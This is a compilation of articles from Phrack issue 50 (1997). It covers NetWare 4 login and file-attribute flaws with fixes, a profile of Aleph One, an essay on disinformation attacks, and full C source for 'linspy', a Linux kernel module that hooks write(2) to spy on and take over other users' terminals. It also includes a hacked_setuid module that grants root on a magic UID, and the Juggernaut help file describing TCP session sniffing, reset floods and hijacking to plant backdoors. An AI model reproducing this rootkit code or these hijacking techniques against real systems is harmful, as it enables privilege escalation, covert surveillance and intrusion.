Since its release, not much security news has really surfaced surrounding Novell NetWare 4. A lot of the security flaws that were present in 3.1x were 'fixed' in 4.x since Novell pretty much redesigned the way the user/resource database worked, was referenced, and stored. Some flaws remained, although fixes for them are well‑known, and easily applied. However, NetWare 4 came with its own batch of new security flaws, and Novell has done a poor job of addressing them, hoping that consumer‑end ignorance and the client/server software's proprietary design will hide these holes. You'd figure they would know better by now.

The ability to use a packet sniffer to snag RCONSOLE passwords still exists; NetWare 4 institutes client‑end authentication to implement its auto‑reconnect feature; the list goes on. Below are just a couple of examples of such bugs and how to deal with them. As new Novell products bring many existing LANs out onto the Internet, I think you will see more of this sort of thing coming to the surface. I hope that when it does, Novell decides to take a more responsible role in security support for its products. I'd hate for such a widely used product to become the next HP/UX.

[the exploits]

[BUG #1]

This bug is known to affect NetWare 4.10. It's probably present in 4.01 and other versions that support Directory Services, but I haven't verified this. I'm only a CNA, so I tried to verify this bug by talking to a group of CNEs and nobody had heard of this, although there are apparently other bugs in previous versions of LOGIN.EXE.

The bug is a combination of some weak code in LOGIN‑4.12 (SYS:\LOGIN\LOGIN.EXE) and a default User object in NDS ‑ the user template USER_TEMPLATE. LOGIN allows input fields to be passed directly, instead of filtered, if they are passed to LOGIN correctly ‑‑ by specifying an object's context explicitly (as opposed to implicitly by using CX) and putting the User object's name in quotes.

F:\PUBLIC>LOGIN SVR1/"USER_TEMPLATE"

For Server object SVR1 in an appropriate context, this would probably work and give a generic level of user access, perhaps to other volumes, programs, etc. That will vary depending on the setup of the server.

The fix is simple. Load SYS:\PUBLIC\NWADMIN.EXE and disable the user template's login. But from now on, you will have to manually enable login for any new User objects created in your tree.

[BUG #2]

This isn't a bug as much as a failed attempt to add security to a DOS file system. But since Novell touts (and teaches) it as a file system security tool, it is worth addressing.

NetWare comes with a tool called FLAG, which is supposed to be the NetWare equivalent of UNIX's chmod(), in that it controls file attributes for files on local and NetWare file systems. The problem lies in that Novell thought it would be neat to incorporate its tool into the world of DOS file attributes as well. So they made FLAG alter DOS file attributes automatically to correspond with the new attributes installed by FLAG. This would've been cool, except that DOS's ATTRIB.EXE can also be used to change the DOS‑supported file attributes set by FLAG. (Archive, Read‑only, Hidden, and System, respectively) And since ATTRIB doesn't reference NDS in any way, the problem is obvious; A file that was marked Read‑only by its owner, using FLAG, could be compromised by a user other than its owner, with ATTRIB, and then altered or deleted.

There isn't an easy fix for something that is this broken, so it is simply recommended that you use IRFs (carefully) to designate file rights on your server.

[ 01‑07‑97 ‑ Tont0 ]

‑‑‑‑<>‑‑

EOF

Phrack Prophile on Aleph1

.oO Phrack 50 Oo.

Volume Seven, Issue Fifty

4 of 16

‑:[ Phrack Pro‑Phile ]:

Aleph One

~~~~

Personal

~~~~~~~~

Handle: Aleph One Call him: Aleph

Past handles: None

Handle origin: Transfinite Math ("Infinity and the Mind" by Rudy Rucker) Date of Birth: 1974

Height: 6 feet

Weight: No idea.

Eye color: Olive

Hair Color: Dark Brown Computers: Two

Admin of: Underground.Org, and BugTraq Sites Frequented: None. I got better things to do with my time. URLs: http://www.disinfo.com/

Favorite Things

~~~~~~~~~~~~~~~

Women: Intelligent, sexy with beautiful eyes and class. Cars: None. They are a pain. Ride a motorcycle. Foods: Exotic. Sushi (Anago), Arab, Chinese, Vietnamese, Thai, Indian, Ethiopian. Seafood. Meat. Anything on a grill. Anything flamb. Wine: Chianti. Music: Techno: Leftfield, Orbital, Underworld, Electric

Skychurch, Prodigy, Juno Reacto,

Chemical Brothers, Ambient, GOA Trace.

Rock: Tool, Marylin Mason, Beck, Garbage, NIN. Classical: Bach, Baroque Soundtracks: Natural Born Killers, The Piano, Braveheart,

RobRoy.

Books: "Godel, Escher, Bach" by Douglas R. Hofstadter "Infinity and the Mind" by Rudy Rucker "100 Years of Solitude" (in Spanish) by Gabriel Garcia Marques "Metamorphosis" by Kafka

Turn Ons: Intelligence. Class. Pierced belly buttons. Tasteful tattoos. Long hair.

Turn Offs: Ignorance. Attitude. Bad tattoos.

Other passions, interests, loves:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Painting ‑ Went to a painting/drawing class for 3 years. Did everything from pencil, pastels, up to watercolors. I stopped going when I started working with oils. I haven't painted in almost 7 years. Too bad, I enjoyed it.

Math ‑ For some reason I always liked math. I hated doing exercises, but always liked the theory. Guess that's why my grades were not better. I was intending to do a minor in math but I quit school before that ever happened...

Reading ‑ One of the things I value the most are my books. I really enjoy reading. Sadly, lately, all I read are technical books. I need to start reading other stuff again.

AI ‑ When I started fooling around with computers I wanted to go into AI, but the lack of material at my disposition at the time kept me from delving into it too much.

Most memorable experiences:

~~~~~~~~~~~~~~~~~~~~~~~~~~~

Death ‑ It marks your life for ever.

Burning Man '95 ‑ One of the most intense experiences of my life. Nothing can compare to the creation and expression of this community that grows and dies in one of the most inhospitable, yet more beautiful, places on earth.

Some people to mention:

~~~~~~~~~~~~~~~~~~~~~~~

Annaliza (for all the rides from work, all the adventures, always being there, and the hot cocoa)

Luis (for all the good times, the bad times, and begin one fucking crazy Spanish cosaco)

Mr. Upsetter, Buckaroo Banzai, Dan, Rod & Rika, Sir Dystic, Freqout, White Knight & Loren (for being good friends)

Intrepid Traveller (for giving me the number to Lunatic Labs)

Noid, Pappy, Phax, Elvis Smurf, Ming of Mongo, TRW, Clockwork, and the rest of the old LA 2600 crew (for being themselves)

Veggie (for being larger than life)

Mycroft (who would have thought?)

r00t (for being elite)

A few things you would like to say:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Knowledge come from within.

The New Security Threat: Disinformation

Statistics show that network break‑ins are on the rise. Entities connecting to the Net expect to be broken into. They know it's only a matter of time before some random hacker targets their machines using the latest warez to bypass their firewall and break into their machine. They have seen it happen over and over. The CIA, DOJ, NASA, MGM/UA, etc.

The modus operandi is always the same: Deface the web page, or trash the machines. For this occurrence they have prepared. Backups are in place, and ready to be used. Hacked web pages hardly stay up more than half and hour before they are taken down. What ever message the hackers wanted to deliver was probably only seen by a handful of people. There no longer is any incentive to hack a web site that no one will see.

So what is next? Disinformation.

The Internet as a medium facilitates the free flow of information. Single individuals can reach large, as yet before unreachable audiences. Information that before would have been relegated to some obscure corner, now travels at the speed of light and is disseminated all over the world. Everyday the Net is becoming a more important source of leads and information for the standard news media. It usually only takes a few hours before some information such as a new product, or some new bug, published on the Net appears on TV or some newspaper's web site. And as more companies publish information online our dependence on the Net as a source of information will only increase.

But the medium does not attempt to validate or even authenticate this information in most cases. A anonymous tip on some newsgroup or web site can cause a company a lot of headaches. Even the worst are half‑truths. Just look at the damage control that corporations such as Microsoft and Intel had to do in the past. But this is only the beginning.

What if that motivated hacker decides that instead of replacing the company's web site with some obscene language and graphics that will be taken down almost immediately we will add a small officially worded press release to the web site. How long until someone notices? How long until they realize it's a fake. Maybe we should also email the press release to some media contacts. What are the chances that it will be catch before it makes it into the news? Or that it will catch before it's discussed on some newsgroup with a large audience?

The amount of damage control a well placed piece of information coming from a seemingly reputable source is incredible. This, I believe, is where future attacks lay.

Linux TTY hijacking

.oO Phrack 50 Oo.

Volume Seven, Issue Fifty

5 of 16

=====================

Abuse of the Linux Kernel for Fun and Profit

halflife@infonexus.com

[guild corporation]

=====================

Introduction

‑‑‑‑‑‑‑‑‑‑‑‑

Loadable modules are a very useful feature in linux, as they let you load device drivers on a as‑needed basis. However, there is a bad side: they make kernel hacking almost TOO easy. What happens when you can no longer trust your own kernel...? This article describes a simple way kernel modules can be easily abused.

System calls

‑‑‑‑‑‑‑‑‑‑‑‑

System calls. These are the lowest level of functions available, and are implemented within the kernel. In this article, we will discuss how they can be abused to let us write a very simplistic tty hijacker/monitor. All code was written and designed for linux machines, and will not compile on anything else, since we are mucking with the kernel.

TTY Hijackers, such as tap and ttywatcher are common on Solaris, SunOS, and other systems with STREAMS, but Linux thus far has not had a useful tty hijacker (note: I don't consider pty based code such as telnetsnoop to be a hijacker, nor very useful since you must make preparations ahead of time to monitor users).

Since linux currently lacks STREAMS (LinSTREAMS appears to be dead), we must come up with a alternative way to monitor the stream. Stuffing keystrokes is not a problem, since we can use the TIOCSTI ioctl to stuff keystrokes into the input stream. The solution, of course, is to redirect the write(2) system call to our own code which logs the contents of the write if it is directed at our tty; we can then call the real write(2) system call.

Clearly, a device driver is going to be the best way to do things. We can read from the device to get the data that has been logged, and add a ioctl or two in order to tell our code exactly what tty we want to log.

Redirection of system calls

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

System calls are pretty easy to redirect to our own code. It works in principle like DOS terminate and stay resident code. We save the old address in a variable, then set a new one pointing to our code. In our code, we do our thing, and then call the original code when finished.

A very simple example of this is contained in hacked_setuid.c, which is a simple loadable module that you can insmod, and once it is inserted into the kernel, a setuid(4755) will set your uid/euid/gid/egid to 0. (See the appended file for all the code.) The addresses for the syscalls are contained in the sys_call_table array. It is relatively easy to redirect syscalls to point to our code. Once we have done this, many things are possible...

Linspy notes

‑‑‑‑‑‑‑‑‑‑‑‑

This module is VERY easy to spot, all you have to do is cat /proc/modules and it shows up as plain as day. Things can be done to fix this, but I have no intention on doing them.

To use linspy, you need to create an ltap device, the major should be 40 and the minor should be 0. After you do that, run make and then insmod the linspy device. Once it is inserted, you can run ltread [tty] and if all goes well, you should see stuff that is output to the user's screen. If all does not go well ... well, I shall leave that to your nightmares.

The Code [use the included extract.c utility to unarchive the code]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<++> linspy/Makefile

CONFIG_KERNELD=‑DCONFIG_KERNELD

CFLAGS = ‑m486 ‑O6 ‑pipe ‑fomit‑frame‑pointer ‑Wall $(CONFIG_KERNELD) CC=gcc

# this is the name of the device you have (or will) made with mknod DN = '‑DDEVICE_NAME="/dev/ltap"'

# 1.2.x need this to compile, comment out on 1.3+ kernels

V = #‑DNEED_VERSION

MODCFLAGS := $(V) $(CFLAGS) ‑DMODULE ‑D__KERNEL__ ‑DLINUX

all:linspy ltread setuid

linspy:linspy.c /usr/include/linux/version.h

$(CC) $(MODCFLAGS) ‑c linspy.c

ltread:

$(CC) $(DN) ‑o ltread ltread.c

clean:

rm *.o ltread

setuid:hacked_setuid.c /usr/include/linux/version.h

$(CC) $(MODCFLAGS) ‑c hacked_setuid.c

<‑‑> end Makefile

<++> linspy/hacked_setuid.c

int errno;

#include <linux/sched.h>

#include <linux/mm.h>

#include <linux/malloc.h>

#include <linux/errno.h>

#include <linux/sched.h>

#include <linux/kernel.h>

#include <linux/times.h>

#include <linux/utsname.h>

#include <linux/param.h>

#include <linux/resource.h>

#include <linux/signal.h>

#include <linux/string.h>

#include <linux/ptrace.h>

#include <linux/stat.h>

#include <linux/mman.h>

#include <linux/mm.h>

#include <asm/segment.h>

#include <asm/io.h>

#include <linux/module.h>

#include <linux/version.h>

#include <errno.h>

#include <linux/unistd.h>

#include <string.h>

#include <asm/string.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <sys/sysmacros.h>

#ifdef NEED_VERSION

static char kernel_version[] = UTS_RELEASE;

#endif

static inline _syscall1(int, setuid, uid_t, uid);

extern void *sys_call_table[];

void *original_setuid;

extern int hacked_setuid(uid_t uid)

{

int i;

if(uid == 4755)

{

current‑>uid = current‑>euid = current‑>gid = current‑>egid = 0; return 0;

}

sys_call_table[SYS_setuid] = original_setuid;

i = setuid(uid);

sys_call_table[SYS_setuid] = hacked_setuid;

if(i == ‑1) return ‑errno;

else return i;

}

int init_module(void)

{

original_setuid = sys_call_table[SYS_setuid]; sys_call_table[SYS_setuid] = hacked_setuid;

return 0;

}

void cleanup_module(void)

{

sys_call_table[SYS_setuid] = original_setuid;

}

<++> linspy/linspy.c

int errno;

#include <linux/tty.h>

#include <linux/sched.h>

#include <linux/mm.h>

#include <linux/malloc.h>

#include <linux/errno.h>

#include <linux/sched.h>

#include <linux/kernel.h>

#include <linux/times.h>

#include <linux/utsname.h>

#include <linux/param.h>

#include <linux/resource.h>

#include <linux/signal.h>

#include <linux/string.h>

#include <linux/ptrace.h>

#include <linux/stat.h>

#include <linux/mman.h>

#include <linux/mm.h>

#include <asm/segment.h>

#include <asm/io.h>

#ifdef MODULE

#include <linux/module.h>

#include <linux/version.h>

#endif

#include <errno.h>

#include <asm/segment.h>

#include <linux/unistd.h>

#include <string.h>

#include <asm/string.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <sys/sysmacros.h>

#include <linux/vt.h>

/* set the version information, if needed */

#ifdef NEED_VERSION

static char kernel_version[] = UTS_RELEASE;

#endif

#ifndef MIN

#define MIN(a,b) ((a) < (b) ? (a) : (b))

#endif

/* ring buffer info */

#define BUFFERSZ 2048

char buffer[BUFFERSZ];

int queue_head = 0;

int queue_tail = 0;

/* taken_over indicates if the victim can see any output */

int taken_over = 0;

static inline _syscall3(int, write, int, fd, char *, buf, size_t, count); extern void *sys_call_table[];

/* device info for the linspy device, and the device we are watching */

static int linspy_major = 40;

int tty_minor = ‑1;

int tty_major = 4;

/* address of original write(2) syscall */

void *original_write;

void save_write(char *, size_t);

int out_queue(void)

{

int c;

if(queue_head == queue_tail) return ‑1;

c = buffer[queue_head];

queue_head++;

if(queue_head == BUFFERSZ) queue_head=0;

return c;

}

int in_queue(int ch)

{

if((queue_tail + 1) == queue_head) return 0; buffer[queue_tail] = ch;

queue_tail++;

if(queue_tail == BUFFERSZ) queue_tail=0;

return 1;

}

/* check if it is the tty we are looking for */

int is_fd_tty(int fd)

{

struct file *f=NULL;

struct inode *inode=NULL;

int mymajor=0;

int myminor=0;

if(fd >= NR_OPEN || !(f=current‑>files‑>fd[fd]) || !(inode=f‑>f_inode)) return 0;

mymajor = major(inode‑>i_rdev);

myminor = minor(inode‑>i_rdev);

if(mymajor != tty_major) return 0;

if(myminor != tty_minor) return 0;

return 1;

}

/* this is the new write(2) replacement call */

extern int new_write(int fd, char *buf, size_t count)

{

int r;

if(is_fd_tty(fd))

{

if(count > 0)

save_write(buf, count);

if(taken_over) return count;

}

sys_call_table[SYS_write] = original_write;

r = write(fd, buf, count);

sys_call_table[SYS_write] = new_write;

if(r == ‑1) return ‑errno;

else return r;

}

/* save data from the write(2) call into the buffer */

void save_write(char *buf, size_t count)

{

int i;

for(i=0;i < count;i++)

in_queue(get_fs_byte(buf+i));

}

/* read from the ltap device ‑ return data from queue */

static int linspy_read(struct inode *in, struct file *fi, char *buf, int count) {

int i;

int c;

int cnt=0;

if(current‑>euid != 0) return 0;

for(i=0;i < count;i++)

{

c = out_queue();

if(c < 0) break;

cnt++;

put_fs_byte(c, buf+i);

}

return cnt;

}

/* open the ltap device */

static int linspy_open(struct inode *in, struct file *fi)

{

if(current‑>euid != 0) return ‑EIO;

MOD_INC_USE_COUNT;

return 0;

}

/* close the ltap device */

static void linspy_close(struct inode *in, struct file *fi)

{

taken_over=0;

tty_minor = ‑1;

MOD_DEC_USE_COUNT;

}

/* some ioctl operations */

static int

linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd, unsigned long args) {

#define LS_SETMAJOR 0

#define LS_SETMINOR 1

#define LS_FLUSHBUF 2

#define LS_TOGGLE 3

if(current‑>euid != 0) return ‑EIO;

switch(cmd)

{

case LS_SETMAJOR:

tty_major = args;

queue_head = 0;

queue_tail = 0;

break;

case LS_SETMINOR:

tty_minor = args;

queue_head = 0;

queue_tail = 0;

break;

case LS_FLUSHBUF:

queue_head=0;

queue_tail=0;

break;

case LS_TOGGLE:

if(taken_over) taken_over=0;

else taken_over=1;

break;

default:

return 1;

}

return 0;

}

static struct file_operations linspy = {

NULL,

linspy_read,

NULL,

NULL,

NULL,

linspy_ioctl,

NULL,

linspy_open,

linspy_close,

NULL

};

/* init the loadable module */

int init_module(void)

{

original_write = sys_call_table[SYS_write]; sys_call_table[SYS_write] = new_write; if(register_chrdev(linspy_major, "linspy", &linspy)) return ‑EIO; return 0;

}

/* cleanup module before being removed */

void cleanup_module(void)

{

sys_call_table[SYS_write] = original_write; unregister_chrdev(linspy_major, "linspy");

}

<‑‑> end linspy.c

<++> linspy/ltread.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <termios.h>

#include <string.h>

#include <fcntl.h>

#include <signal.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <sys/sysmacros.h>

struct termios save_termios;

int ttysavefd = ‑1;

int fd;

#ifndef DEVICE_NAME

#define DEVICE_NAME "/dev/ltap"

#endif

#define LS_SETMAJOR 0

#define LS_SETMINOR 1

#define LS_FLUSHBUF 2

#define LS_TOGGLE 3

void stuff_keystroke(int fd, char key)

{

ioctl(fd, TIOCSTI, &key);

}

int tty_cbreak(int fd)

{

struct termios buff;

if(tcgetattr(fd, &save_termios) < 0)

return ‑1;

buff = save_termios;

buff.c_lflag &= ~(ECHO | ICANON);

buff.c_cc[VMIN] = 0;

buff.c_cc[VTIME] = 0;

if(tcsetattr(fd, TCSAFLUSH, &buff) < 0)

return ‑1;

ttysavefd = fd;

return 0;

}

char *get_device(char *basedevice)

{

static char devname[1024];

int fd;

if(strlen(basedevice) > 128) return NULL;

if(basedevice[0] == '/')

strcpy(devname, basedevice);

else

sprintf(devname, "/dev/%s", basedevice);

fd = open(devname, O_RDONLY);

if(fd < 0) return NULL;

if(!isatty(fd)) return NULL;

close(fd);

return devname;

}

int do_ioctl(char *device)

{

struct stat mystat;

if(stat(device, &mystat) < 0) return ‑1;

fd = open(DEVICE_NAME, O_RDONLY);

if(fd < 0) return ‑1;

if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return ‑1; if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return ‑1; }

void sigint_handler(int s)

{

exit(s);

}

void cleanup_atexit(void)

{

puts(" ");

if(ttysavefd >= 0)

tcsetattr(ttysavefd, TCSAFLUSH, &save_termios);

}

main(int argc, char **argv)

{

int my_tty;

char *devname;

unsigned char ch;

int i;

if(argc != 2)

{

fprintf(stderr, "%s ttyname\n", argv[0]); fprintf(stderr, "ttyname should NOT be your current tty!\n"); exit(0);

}

devname = get_device(argv[1]);

if(devname == NULL)

{

perror("get_device");

exit(0);

}

if(tty_cbreak(0) < 0)

{

perror("tty_cbreak");

exit(0);

}

atexit(cleanup_atexit);

signal(SIGINT, sigint_handler);

if(do_ioctl(devname) < 0)

{

perror("do_ioctl");

exit(0);

}

my_tty = open(devname, O_RDWR);

if(my_tty == ‑1) exit(0);

setvbuf(stdout, NULL, _IONBF, 0);

printf("[now monitoring session]\n");

while(1)

{

i = read(0, &ch, 1);

if(i > 0)

{

if(ch == 24)

{

ioctl(fd, LS_TOGGLE, 0);

printf("[Takeover mode toggled]\n");

}

else stuff_keystroke(my_tty, ch);

}

i = read(fd, &ch, 1);

if(i > 0)

putchar(ch);

}

}

<‑‑> end ltread.c

Juggernaut

.oO Phrack 50 Oo.

Volume Seven, Issue Fifty

6 of 16

J U G G E R N A U T

route|daemon9

a guild corporation production 1996/7

Please use the included extract.c utility to extract the files and then read the Install file. Any problems/comments mail me route@infonexus.com.

A boot image is forthcoming that will allow a user to simply pop a disk into most any networked PC and turn it into a Juggernaut workstation.

<++> Juggernaut/ClothLikeGauze/.help

Juggernaut 1.0 Help File

|‑‑‑‑‑‑‑‑

|Overview

|‑‑‑‑‑‑‑‑

Juggernaut is a robust network tool for the Linux OS. It contains several modules offering a wide degree of functionality. Juggernaut has been tested successfully on several different Linux machines on several different networks. However, your mileage may vary depending on the network topologies of the environment (ie: Smart hubbing will kill much of the packet sniffing functionality...) and, to a lesser extent, the machine running Juggernaut. If something doesn't work, use a network debugger and figure out why...

Juggernaut v1.0 was originally published in Phrack Magazine, issue 50; on April 9, 1997.

Any serious problems/bugs or comments, please mail me:

route@infonexus.com

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Command Line Options

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

juggernaut ‑h

Quick help.

juggernaut ‑H

Dumps this help file.

juggernaut ‑v

By default, Juggernaut conveys error messages and other diagnostic information to the user. Specifying this option will cause Juggernaut to shut the hell up.

Not recommended unless you know what you are doing.

juggernaut ‑t xx [ juggernaut ‑t 5 ]

This option specifies the network read timeout (which defaults to 10 seconds). This value reflects how long Juggernaut will wait for network traffic before giving up. In this case, it will wait 5 seconds.

juggernaut ‑s TOKEN [ juggernaut ‑s login ]

Dedicated sniffing mode. Juggernaut will drop to the background and examine all TCP packets looking for TOKEN. When TOKEN is located, it then isolates that TCP circuit and captures the next 16 (the default enticement factor) packets and logs them to a file. It then resets and continues sifting through TCP traffic looking for TOKEN.

juggernaut ‑s TOKEN ‑e xx [ juggernaut ‑s daemon9 ‑e 1000 ]

By specifying a larger enticement factor, you can capture more packets from a session. This time, after locating TOKEN, Juggernaut will capture 1000 packets before reseting.

juggernaut

This starts the program in standard mode.

|‑‑‑‑‑‑‑‑‑‑‑‑‑

|Menu Options

|‑‑‑‑‑‑‑‑‑‑‑‑‑

This is normal mode of operation for Juggernaut. This is where the magic happens, this is where the fun is. The program will examine all network traffic and add suitable TCP connections to the connection database (which is viewed with option 1). After at least one connection is in the database, you can start mucking around with it (connection construction and destruction are indicated by the appearance of the "+" or the "‑" at the console). Note that connections involving a local interface may not show up (unless the localhost is dual‑homed).

One possible shortcoming of the program is the fact that it stores very little state information about connections in the database. Juggernaut collects whatever information it needs (and doesn't have) on the fly. As such, a quiet connection (no traffic) will elude hijacking and reseting. The benefit of this is the fact that the program does not have to tie itself up updating the shared memory segment with state every time a packet flies by.

?) Help

This file.

0) Program information

Dumps some stuff...

1) Connection database

Dumps the current connection list and percent to capacity. Gives the option to wipe the database.

2) Spy on a connection

Allows a user to spy on any connection in the database, with the option of logging the entire session to a file.

3) Reset a connection

Allows the user to destroy any existing connection in the database.

4) Automated connection reset daemon

Allows the user to setup an automated TCP RST daemon that will listen for connection request attempts from a specified source host (and optionally a destination host) and then reset them before they have a chance to complete. Requires a source IP address and optionally a destination address. This module prints a "*" to the console when a connection request attempt is attempted and denied...

5) Simplex connection hijack

Allows the user to insert a command into a telnet based TCP stream. A short ACK storm ensues until the connection is subsequently reset.

6) Interactive connection hijack

Allows the user to take over a session from a legitimate client. This desynchs the client from the server as the user takes over. The resulting ACK storm can be catastrophic and makes this interactive session prone to failure. If both of the target hosts are on an ethernet, expect a momunmental ACK storm.

7) Packet assembly module

The Prometheus module. Construction of TCP, UDP, ICMP, and IP packets. The user has complete control over most of the header fields and can opt for generating a pseudo‑random value. This module is far from done and needs some serious work.

8) Souper sekret option number eight

Sshh.

9) Step down

Quitter.

|‑‑‑‑‑‑‑‑‑‑‑‑‑

|Suggested Use

|‑‑‑‑‑‑‑‑‑‑‑‑‑

scenario 1: The passive observer

menu options 1,2

The user is curious. She simply waits for connections to arrive and then passively observes them. Several invocations of Juggernaut may be started, each spying on a different connection. The user does not modify the flow of data or control.

scenario 2: The malicious observer

menu options 1,2,3

Same scenario as above, except the user alters the flow of control and opts to destroy connections at some point.

scenario 3: The active observer

menu options 1,2,3,5,(6)

Same as the previous situations, however the user inserts data into the stream before destroying it. scenario 4: The imp

menu options 1,2,3,4

The user is an impish devil and simply wants to cause trouble by setting up multiple ACRST daemons.

scenario 5: The active observer with poisonous reverse menu options 1,2,4,5

The user waits until a client establishes a connection with a targeted server and then sets up the ACRST daemon to destroy all further connection‑request attempts from the client. The user then spys on the connection, waiting for an opportune time to inject a hijack packet into the stream containing a backdooring command/pipeline. The client will then have her connection RST (after a brief ACK storm). If the client attempts to re‑establish the connection with the server, she will be denied and likely think it is a transient network error. The user can then login into the server using the backdoor without fear of the client logging back in.

Juggernaut is a Guild Corporation production, (c) 1996/7.

[corporate persuasion through Internet terrorism]

EOF

<‑‑>

<++> Juggernaut/ClothLikeGauze/MANIFEST

File Manifest for Juggernaut 1.0

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1996/7 daemon9[guild|phrack|r00t]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ClothLikeGauze/ Docs

.help Helpfile

copyright The legal tie that binds.

Install Installation instructions

MANIFEST This file

Makefile makefile

NumberOneCrush/ Sources

main.c main logic

mem.c shared memory/semaphore functions

menu.c menu functions

prometheus.c packet assembly workshop module

net.c socket/network functions

surplus.c dumping ground

Version history

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

version a1:

‑‑‑‑‑‑‑‑‑‑‑

11.30.96: Decided to start. Juggernaut framework and queue stuff. Used linked list queue originally to store connections. 12.01.96: Sniffing/spying/logging/RST stuff.

12.02‑04: Not sure what I did here. I think I had a large turkey samich. 12.05.96: Redid memory abstract data type. Multithreaded. Implemented shared memory segment and semaphore for access control. Dumped ALL the dynamic memory allocation code. 12.06.96: Added packet assembly workshop hooks. Added curses. Removed curses.

12.07.96: No coding today.

12.08.96: Non‑interactive hijacking completed. I think we're ready for beta now.

version b1:

‑‑‑‑‑‑‑‑‑‑‑

12.09.96: IP_HDRINCL crap added.

12.15‑18: I was in NYC for the r00tparty. No coding then. 12.19.96: Added automated RST stuff.

12.20‑27: No coding.

12.28.96: Started work on interactive hijacking. Damned ACK storms. 12.30.96: Started packet assembly module for reals.

version b2:

‑‑‑‑‑‑‑‑‑‑‑

01.25.97: Added network timeout logic.

01.26.97‑

04.01.97: How can you possibly expect me to account for all that time? I went to Germany with alhambra for a networking summit and all over the US for other work, I was even in a Discovery special on IW...

version 1.0:

‑‑‑‑‑‑‑‑‑‑‑‑

04.02.97: Here it is.

<‑‑>

<++> Juggernaut/ClothLikeGauze/ToDo

Juggernaut ToDo list

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+ re‑structure multitasking model to give the option of

using multi‑processing OR multi‑threading

+ Create boot image

+ Support for ongoing connections

+ Support for healthy choice hotdog sequencer

+ Add arp cache seeding routine; as connections are added, MAC addresses will be added to the arp cache

+ Add support for different verbosity levels

+ Add support for IP and TCP options in packet assembly module

+ Better packet assembly support as a whole

+ Better code module plug‑in support

+ much more robust packet sniffing module with support for multiple protocols

+ um, interactive hijacking that doesn't kill the client

<‑‑>

<++> Juggernaut/ClothLikeGauze/copyright

Juggernaut

Copyright (c) 1996/7 by daemon9/route [Guild] (route@infonexus.com)

Juggernaut source code, documentation, auxilliary programs, and executables are Copyright 1996/7 daemon9[guild]. All rights reserved.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

GNU GENERAL PUBLIC LICENSE

Version 2, June 1991

Copyright (C) 1989, 1991 Free Software Foundation, Inc. 675 Mass Ave, Cambridge, MA 02139, USA Everyone is permitted to copy and distribute verbatim copies

of this license document, but changing it is not allowed.

Preamble

The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software‑‑to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too.

When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things.

To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it.

For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.

We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software.

Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations.

Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all.

The precise terms and conditions for copying, distribution and modification follow.

GNU GENERAL PUBLIC LICENSE

TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does.

1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program.

You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.

2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions:

a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change.

b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License.

